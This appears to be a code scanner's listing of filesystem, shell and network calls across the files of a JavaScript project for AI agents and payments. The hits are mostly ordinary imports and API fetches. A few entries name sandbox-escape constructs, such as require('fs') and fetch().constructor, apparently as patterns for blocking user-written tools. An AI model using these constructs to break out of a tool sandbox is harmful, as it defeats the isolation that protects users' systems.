import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-push.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relay-task-result.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/relayer-gas.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/remote-listen-outcome.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/reputation.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/revoke-message.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/rpc-proxy.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/settle-policy.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/skip-link.test.tsx :12
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/spawn-tree-states.test.ts :26
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/stake-migration-plan.test.ts :2
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/standing.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tap-targets.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tiny-delete-cascade.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/tiny-read-degrade.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/toast-copy.test.ts :3
import { readFileSync, readdirSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/trial-spend-exclusion.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/trial-taint-propagation.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ui-code.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/universe-counts.test.ts :18
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/unlearn-scope.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/use-auth-value.test.tsx :19
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/use-device-endpoint.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/user-tools.test.ts :34
['(a) => require("fs")', 'require'], - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/validator-set-health.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/voice-session-identity.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-android.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-ios.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/wearables-web.test.ts :3
import { readFileSync, existsSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/withdraw-settle-network.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/withdrawal-stuck.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/worker-tiny-network.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-credit-counterparty.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-reconcile-alarm.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-reconcile-status.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-tx-reservation.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown-record.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown-resolve.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-settle-unknown.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-reconcile.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-resolve.test.ts :3
import { readFileSync } from 'node:fs' - fs (weak) cagataycali-tiny-technology-6c93dc1/web/tests/x402-spend-reverse-sent.test.ts :3
import { readFileSync } from 'node:fs'
shell / exec 37
- shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :35
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/slashable-registry-e2e.mjs :629
// Each variant is a WHOLE REGISTRY with a different court (spawn(), above) — - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :41
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/authorization-proof-e2e.mjs :31
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :10
import { spawn, spawnSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/e2e.mjs :3
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :6
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :20
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :3
import { spawn } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/browse.ts :43
import { spawn, type ChildProcess } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/computer.ts :24
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/desktop.ts :32
import { execFileSync, execSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :24
import { execFileSync, execSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/flipper.ts :18
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :28
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/repl.ts :133
const { execSync } = await import('node:child_process') - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/see.ts :35
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/speech.ts :54
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :21
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/vision.ts :39
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/whatsapp.ts :23
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/windows.ts :39
import { execFileSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :16
import { spawn } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/daemon.ts :16
import { execFileSync, spawnSync } from 'node:child_process' - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :296
const { spawnSync } = await import('node:child_process') - shell cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tui/App.tsx :188
const { execSync } = await import('node:child_process') - shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/live.e2e.mjs :13
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/server.test.mjs :9
import { spawn } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tasks.test.mjs :331
const { execFileSync } = await import('node:child_process') - shell (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :288
const { fork } = await import('node:child_process') - shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-logo.mjs :24
import { execFileSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-composites.mjs :30
import { execFileSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-store-graphics.mjs :30
import { execFileSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/sync-store-screenshots.mjs :32
import { spawnSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-join.test.ts :4
import { execFileSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/chain-joiner-script.test.ts :3
import { execFileSync } from 'node:child_process' - shell (weak) cagataycali-tiny-technology-6c93dc1/web/tests/ios-sf-symbols.test.ts :4
import { execFileSync } from 'node:child_process'
network 163
- net cagataycali-tiny-technology-6c93dc1/chain/facilitator/server.mjs :20
import { createServer } from 'node:http' - net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/contract-mode-e2e.mjs :73
const res = await fetch(RPC, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/devnet-e2e.mjs :53
const res = await fetch(rpcUrl(n), { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/joiner-e2e.mjs :62
const res = await fetch(url, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/restore-liveness-margin.mjs :84
const res = await fetch(url, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/multinode/scripts/x402-8470-e2e.mjs :203
try { up = (await fetch(`${FAC}/healthz`)).ok } catch {} - net cagataycali-tiny-technology-6c93dc1/chain/rpc-proxy.mjs :22
import { createServer } from 'node:http' - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/authorization-proof-e2e.mjs :85
await waitFor(async () => (await fetch(RPC, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup-e2e.mjs :40
const up = () => fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' }).then((r) => r.ok) - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/backup.mjs :37
const res = await fetch(RPC, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/e2e.mjs :25
const r = await fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' }) - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/facilitator-e2e.mjs :48
await waitFor(async () => (await fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' }, body: '{"jsonrpc":"2.0","id":1,"method":"eth_chainId","params":[]}' })).ok, 'anvil') - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/faucet-e2e.mjs :69
const r = await fetch(RPC, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/pay-e2e.mjs :25
fetch(url, { - net (weak) cagataycali-tiny-technology-6c93dc1/chain/scripts/proxy-e2e.mjs :18
fetch(url, { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/device-tools.ts :197
const res = await fetch(`https://api.telegram.org/bot${token}/${method}`, { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/google.ts :24
import { createServer } from 'node:http' - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/integrations-tool.ts :129
const who: any = await fetch(`https://api.telegram.org/bot${a.token}/getMe`) - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/model.ts :63
const res = await fetch(ollamaBaseUrl().replace(/\/v1$/, '') + '/api/tags', { signal: ctrl.signal }) - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/agent/spotify.ts :118
const res = await fetch(TOKEN_URL, { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/api.ts :61
const res = await fetch(`${this.baseUrl}${path}`, { headers: this.headers() }) - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/auth.ts :13
import { createServer } from 'node:http' - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/cli.ts :220
const res = await fetch('https://api.spotify.com/v1/me/player/currently-playing', { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/device.ts :176
const res = await fetch(`${base}/api/devices/heartbeat`, { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/integrations.ts :274
const who: any = await fetch(`https://api.telegram.org/bot${token}/getMe`) - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/mesh/relay-poller.ts :47
const res = await fetch(`${apiUrl}/api/devices/relay`, { - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/server.ts :301
description: "Forge a personal JavaScript tool that persists in the user's tiny account and follows them everywhere (web chat, telegram, this MCP server). Code shape: a single arrow function `(args) = - net cagataycali-tiny-technology-6c93dc1/tiny-tech/src/tray.ts :22
import { createServer, connect, type Server, type Socket } from 'node:net' - net (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/auth.test.mjs :61
assert.equal((await fetch(`${base}/nope`)).status, 404) - net (weak) cagataycali-tiny-technology-6c93dc1/tiny-tech/test/tray.test.mjs :28
import { connect, createServer } from 'node:net' - net cagataycali-tiny-technology-6c93dc1/web/app/[slug]/loading.tsx :3
* resolves the `no-store` worker /get fetch (up to a 10s round-trip). This - net cagataycali-tiny-technology-6c93dc1/web/app/[slug]/page.tsx :278
fetch(`https://plugin.tiny.technology/pay/pricing?resource=${encodeURIComponent(`tiny:${slug}`)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/account-voice/route.ts :30
const data = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/archives/route.ts :54
return relayText(fetch(url, { headers: ikey(), ...T() })); - net cagataycali-tiny-technology-6c93dc1/web/app/api/auth/route.ts :69
const tokenRes = await fetch('https://github.com/login/oauth/access_token', { - net cagataycali-tiny-technology-6c93dc1/web/app/api/chat/route.ts :73
const synced: any = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/chat/tool-result/route.ts :34
const res = await fetch(`${WORKER_URL}/device/tool-result`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/control/route.ts :56
const { response, loginRequired, error } = await fetch('https://plugin.tiny.technology/upsert', { - net cagataycali-tiny-technology-6c93dc1/web/app/api/delete/route.ts :27
res = await fetch('https://plugin.tiny.technology/tiny', { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/adopt/route.ts :43
const res = await fetch(`${WORKER_URL}/device/rotate-token`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/endpoint/route.ts :65
res = await fetch(`${WORKER_URL}/device/endpoint/call`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/event/route.ts :32
const res = await fetch(`${WORKER_URL}/device/event`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/heartbeat/route.ts :33
const res = await fetch(`${WORKER_URL}/device/heartbeat`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/relay/route.ts :36
return fetch(`${WORKER_URL}${path}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/route.ts :54
const { data, ok, status, transient } = await relay(fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/task-result/route.ts :33
const res = await fetch(`${WORKER_URL}/device/task-result`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/devices/transcript/route.ts :36
const res = await fetch(`${WORKER_URL}/transcript`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/erc8004/registration/[slug]/route.ts :89
fetch(`${WORKER}/get?name=${encodeURIComponent(slug)}`, { signal: AbortSignal.timeout(10_000) }).then(r => r.ok ? r.json() : null).catch(() => null), - net cagataycali-tiny-technology-6c93dc1/web/app/api/events/route.ts :32
// ActivityHUD's own /api/events fetch (no client timeout) spins on "Loading…" - net cagataycali-tiny-technology-6c93dc1/web/app/api/follow/route.ts :26
const res = await fetch(`${WORKER}/follow`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/graph/route.ts :50
return relay(fetch(`${WORKER}/graph/social?${qs}`, { headers: ikey(), ...T() }), 'graph unavailable'); - net cagataycali-tiny-technology-6c93dc1/web/app/api/job-run/route.ts :74
fetch(`${WORKER}/get?name=${encodeURIComponent(tiny || 'tiny')}` - net cagataycali-tiny-technology-6c93dc1/web/app/api/jobs/route.ts :33
fetch(`${WORKER}/jobs?userId=${encodeURIComponent(session.sub)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/learnings/route.ts :62
fetch(`${WORKER}/learnings?${qs}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/location/route.ts :46
fetch(`${WORKER_URL}/location/list`, { headers: internalHeaders(), cache: 'no-store', ...T() }) - net cagataycali-tiny-technology-6c93dc1/web/app/api/login/route.ts :37
const tiny = await fetch(`https://plugin.tiny.technology/get?${params}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/manifest/[slug]/route.ts :21
const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/media/route.ts :41
const res = await fetch(`${WORKER_URL}/media/upload`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/messages/route.ts :52
fetch(`${WORKER}/messages?${qs}`, { headers: headers(), signal: AbortSignal.timeout(10_000) }), - net cagataycali-tiny-technology-6c93dc1/web/app/api/model-config/route.ts :33
const data = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/prefs/route.ts :32
const data = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/push/route.ts :17
const fromWorker = await fetch(`${WORKER}/push/key`, { signal: AbortSignal.timeout(10_000) }) - net cagataycali-tiny-technology-6c93dc1/web/app/api/share/route.ts :83
res = await fetch(`${WORKER}/share`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/telegram/route.ts :44
return relayText(fetch(`${WORKER}/telegram?userId=${encodeURIComponent(session.sub)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/tiny/route.ts :58
const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(name)}${keyQuery}${ownerQuery}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/install/route.ts :32
const profile = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/route.ts :36
const data = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/run/route.ts :48
const data = await fetch(`${WORKER_URL}/tools?userId=${encodeURIComponent(session.sub)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/tools/trust/route.ts :34
const r = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/visit/route.ts :42
const res = await fetch(`${WORKER}/visit`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/replay/[id]/route.ts :26
const res: any = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/session/route.ts :40
const synced: any = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/voice/sessions/route.ts :18
const res: any = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/faucet/route.ts :136
const res = await fetch(`${WORKER_URL}/pay/faucet`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/route.ts :70
const data = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/api/wallet/withdraw/route.ts :145
const reqRes = await fetch(`${WORKER_URL}/pay/withdraw-request`, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/worker/route.ts :10
const response = await fetch(url.toString(), { - net cagataycali-tiny-technology-6c93dc1/web/app/api/x402/chat/[slug]/route.ts :160
const r = await fetch(url, { - net cagataycali-tiny-technology-6c93dc1/web/app/api/x402/pay/route.ts :58
// before the graceful path can run: re-probe (30s) → sign → paid fetch (90s) → - net cagataycali-tiny-technology-6c93dc1/web/app/auth/cli/page.tsx :47
fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) }) - net cagataycali-tiny-technology-6c93dc1/web/app/calls/page.tsx :45
fetch("/api/voice/sessions", { signal: AbortSignal.timeout(deadlineFor("/api/voice/sessions")) }) - net cagataycali-tiny-technology-6c93dc1/web/app/devices/page.tsx :182
const res = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/app/loading.tsx :3
* the `no-store` worker /get fetch (up to a 10s round-trip) + the install-QR - net cagataycali-tiny-technology-6c93dc1/web/app/og/[slug]/route.tsx :24
fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/sitemap.ts :24
const res = await fetch('https://plugin.tiny.technology/community?limit=100', { - net cagataycali-tiny-technology-6c93dc1/web/app/universe/loading.tsx :3
* `no-store` community fetch (up to a worker round-trip). Without this, - net cagataycali-tiny-technology-6c93dc1/web/app/universe/opengraph-image.tsx :100
const data = await fetch('https://plugin.tiny.technology/community?limit=100', { - net cagataycali-tiny-technology-6c93dc1/web/app/vcard/[slug]/route.tsx :19
const tiny = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, { - net cagataycali-tiny-technology-6c93dc1/web/app/wallet/page.tsx :217
fetch("/api/me", { cache: "no-store", signal: AbortSignal.timeout(deadlineFor("/api/me")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/Community.tsx :18
const res = await fetch(`https://plugin.tiny.technology/community?limit=${COMMUNITY_PAGE}`, { - net cagataycali-tiny-technology-6c93dc1/web/components/FollowButton.tsx :34
fetch(`/api/follow?login=${encodeURIComponent(login)}`, { signal: AbortSignal.timeout(deadlineFor("/api/follow")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/GlobalMapBackdrop.tsx :52
fetch('/api/location') - net cagataycali-tiny-technology-6c93dc1/web/components/MapView.tsx :58
fetch('/api/location') - net cagataycali-tiny-technology-6c93dc1/web/components/Profile.tsx :33
const res = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/components/ProfileToolCard.tsx :62
const res = await fetch("/api/tools/install", { - net cagataycali-tiny-technology-6c93dc1/web/components/ProfileTools.tsx :32
fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/ActivityHUD.tsx :72
fetch("/api/events", { signal: AbortSignal.timeout(deadlineFor("/api/events")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/AuthButton.tsx :101
const options = await fetch("/api/auth/webauthn/login", { - net cagataycali-tiny-technology-6c93dc1/web/components/chat/Chat.tsx :280
fetch("https://plugin.tiny.technology/community?limit=1", { signal: AbortSignal.timeout(EXTERNAL_MS) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/CommandPalette.tsx :191
fetch("https://plugin.tiny.technology/list?limit=100", { signal: AbortSignal.timeout(10_000) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/Control.tsx :199
fetch("/api/wallet", { - net cagataycali-tiny-technology-6c93dc1/web/components/chat/JobsPanel.tsx :167
fetch("/api/jobs", { signal: AbortSignal.timeout(deadlineFor("/api/jobs")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/MemoryPanel.tsx :170
fetch(`/api/graph?all=1${history ? "&include_closed=1" : ""}`, { signal: AbortSignal.timeout(deadlineFor("/api/graph")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/MessagesHUD.tsx :99
fetch("/api/messages", { signal: AbortSignal.timeout(deadlineFor("/api/messages")) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/PayReceipt.tsx :150
const r = await fetch("/api/x402/pay", { - net cagataycali-tiny-technology-6c93dc1/web/components/chat/TelegramSettings.tsx :48
fetch("/api/telegram", { signal: AbortSignal.timeout(10_000) }) - net cagataycali-tiny-technology-6c93dc1/web/components/chat/UniverseDrawer.tsx :82
fetch(`https://plugin.tiny.technology/community?limit=${COMMUNITY_PAGE}`, { - net cagataycali-tiny-technology-6c93dc1/web/components/chat/ambient.ts :196
const res = await fetch("/api/chat", { - net cagataycali-tiny-technology-6c93dc1/web/components/chat/platform.ts :65
const r = await fetch("/api/push", { signal: AbortSignal.timeout(deadlineFor("/api/push")) }); - net cagataycali-tiny-technology-6c93dc1/web/lib/auth.ts :150
const res = await fetch(`${WORKER_URL}/user/upsert`, internalInit({ - net cagataycali-tiny-technology-6c93dc1/web/lib/bedrock-edge.ts :4
* Talks directly to Bedrock's ConverseStream REST endpoint using fetch() - net cagataycali-tiny-technology-6c93dc1/web/lib/chain/rpc.ts :25
const r = await fetch(info.rpc, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/model-config.ts :129
const res = await fetch("/api/account-voice"); - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/model.ts :75
// Edge-safe Bedrock: direct fetch() to ConverseStream + bearer token. - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/slash-commands.ts :173
fetch('/api/tools/trust', { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/flipper.ts :202
const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/memory.ts :45
return fetch(`${WORKER}/learnings`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/messages.ts :35
return fetch(`${WORKER}/message`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla-voice.ts :70
const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/nicla.ts :35
const d = await fetch(`${WORKER}/device/list?userId=${encodeURIComponent(userId)}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/platform.ts :36
const res = await fetch(`${base}/api/run-tool`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/spawn.ts :95
fetch(`${WORKER}${path}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/tools/universe.ts :17
return fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(input.name)}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/chat/whoami.ts :58
const result: Promise<Me> = fetch("/api/me", { signal: AbortSignal.timeout(deadlineFor("/api/me")) }) - net cagataycali-tiny-technology-6c93dc1/web/lib/deadlines.ts :4
* A `fetch()` with no signal can stay pending indefinitely (a hung worker, a - net cagataycali-tiny-technology-6c93dc1/web/lib/free-tier.ts :18
* outbound OpenAPI fetch (`/api/worker`). On those the window IS the - net cagataycali-tiny-technology-6c93dc1/web/lib/model-registry.ts :124
const res = await fetch(url, { headers: { Authorization: `Bearer ${apiKey}` }, signal: AbortSignal.timeout(MODELS_FETCH_TIMEOUT_MS) }) - net cagataycali-tiny-technology-6c93dc1/web/lib/reputation.ts :22
const res = await fetch( - net cagataycali-tiny-technology-6c93dc1/web/lib/theme.ts :133
fetch('/api/prefs', { - net cagataycali-tiny-technology-6c93dc1/web/lib/tiny-record.ts :45
const res = await fetch(`https://plugin.tiny.technology/get?name=${encodeURIComponent(slug)}`, { - net cagataycali-tiny-technology-6c93dc1/web/lib/user-tools.ts :93
* `fetch(u).constructor…`, `.then(r => r.constructor…)`, `.catch(e => - net cagataycali-tiny-technology-6c93dc1/web/lib/utils.ts :17
return fetch( - net cagataycali-tiny-technology-6c93dc1/web/lib/voice/realtime.ts :89
const res = await fetch('/api/voice/session', { - net cagataycali-tiny-technology-6c93dc1/web/lib/webllm.ts :89
hfStatsPromise = fetch("https://huggingface.co/api/models?author=mlc-ai&limit=1000") - net cagataycali-tiny-technology-6c93dc1/web/lib/x402/top-up.ts :181
* - web — `faucetClaim()` is `fetch().then(r => r.json())`, so the rejection is - net cagataycali-tiny-technology-6c93dc1/web/lib/x402/wallet-client.ts :67
const r = await fetch('/api/wallet', { - net cagataycali-tiny-technology-6c93dc1/web/public/sw.js :48
caches.match(req).then((hit) => hit || fetch(req).then((res) => { - net (weak) cagataycali-tiny-technology-6c93dc1/web/scripts/gen-onboarding-voice.mjs :148
const res = await fetch( - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/account-voice-write.test.ts :202
const fetchAt = src.indexOf('fetch(`${WORKER_URL}/account-voice`') - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/deadlines.test.ts :13
* v7 F1 — a `fetch()` with no signal can stay pending forever, and every button - net (weak) cagataycali-tiny-technology-6c93dc1/web/tests/devices-camera-panel.test.ts :184
